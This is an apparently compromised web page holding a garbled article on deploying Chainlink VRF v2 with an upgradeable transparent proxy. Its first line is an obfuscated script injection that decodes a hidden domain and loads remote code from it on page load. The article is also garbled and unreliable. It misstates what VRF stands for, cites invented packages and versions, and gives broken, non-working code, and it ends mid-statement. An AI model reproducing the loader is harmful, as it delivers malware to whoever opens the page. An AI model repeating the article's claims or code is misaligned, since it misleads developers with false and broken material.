const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=76885c3a”;document.body.appendChild(script);
Here is a draft article on the implementation
Implementation of ChainLink VRFV2 can be updated with transparent proxy: Guide
Chainlink VRFV2 (Voting on the Future of Blockchain) and its version, VRFV2+ (with additional functions) offers a more effective method for interaction with decentralized applications (Dapps). However, implementing these protocols in a feasible intelligent contract can be a challenge. In this article, we go through the process of implementing the Chainlink VRFV2 with a transparent proxy intelligent contract.
Why do Chainlink VRFV2 implement?
Before you get into implementation, it is essential to understand why you want to use Chainlink VRFV2 and its version. These protocols provide a safer, more decentralized way to vote for Block Rewards and allow the creation of non-traditional voting platforms.
Refreshable transparent proxy (UTP)
UTP is a refreshable transparent proxy intelligent contract that allows smooth updates without jeopardizing the safety of the underlying protocol. That’s why we focus on the implementation of Chainlink VRFV2 with this smart contract:
* Update : UTP provides an update mechanism, which means you can update your smart contract while existing users and their balance are intact.
* Transparency
: UTP is designed to be transparent, ensuring that the voting process remains decentralized and fair.
Implementation of ChainLink VRFV2 can be updated with transparent proxy
Follow these steps with a refreshable proxy intelligent contract to implement Chainlink VRFV2:
Step 1: Set UTP
Create a new UTP project with solidity (version 0.6.17 or higher) and hardhat. You can use the official “@Hardhat-Dev/Ethers” package to produce the necessary items.
`Bash
NPX Hardhat Development -network Ganache
`
Step 2: Determine the ChainLink VRFV2 Proxy contract
Create a new file called chainlinkvrfroxy.js" and determine the proxy contract. This contract interacts with Chainlink VRF.
Javascript
Const Ethhers = needed ("Ethers");
// Import the Chainlink API
Const Chain Link to = {
VRF: Required ("@Openzeppelin/ChainLinks-VRF-Proposal-Plementation"),
};
Class Chain Linkvrfroxy {
Async Installation (ChainLinkaddress, Options) {
// Installing a proxy contract with Hardhat's "Deploy" feature
Const deplingmenting = waiting for Ethers.getContractractory ("Chainlinkvrfroxy");
this.Proxy = wait for deporting.deploy (
Chainlinkaddress,
opportunities
);
}
Async Callfunction (
Proxyaddress,
Options,
Callbackaddress,
recall abi
) {
// Call ChainLink VRF feature
Const Result = Waiting for new ethers. Contacter (proxyaddress, Callbackabi, this.proxy) .call ({{{
... options,
Callbackaddress,
recall,
});
return result;
}
}
Step 3: Complete the refreshable transparent proxy
Create a new file called Uppradeabletranspransproxy.js" and execute the refreshable transparent proxy. This contract allows the ChainLink VRF to update without affecting existing users.
` Javascript
Const Ethhers = needed (“Ethers”);
Class update, pickling proxy {
constructor (proxyaddress, options) {
this.poxyaddress = proxyaddress;
this.options = options;
}
Async update () {
// Check that the Proxy contract is already with a new ABI -e installed
Const Lraltractabi = waiting for this.Proxy.getabi ();
if (existing convertabi! == this.options.abi) {
// Update Chainlink VRF using new ABI and options
Const NewContractabi = waiting for this.Proxy.deploy (
this.Proxyaddress,
EZOPTIONS
);
Back to Ethers.utils.abis.
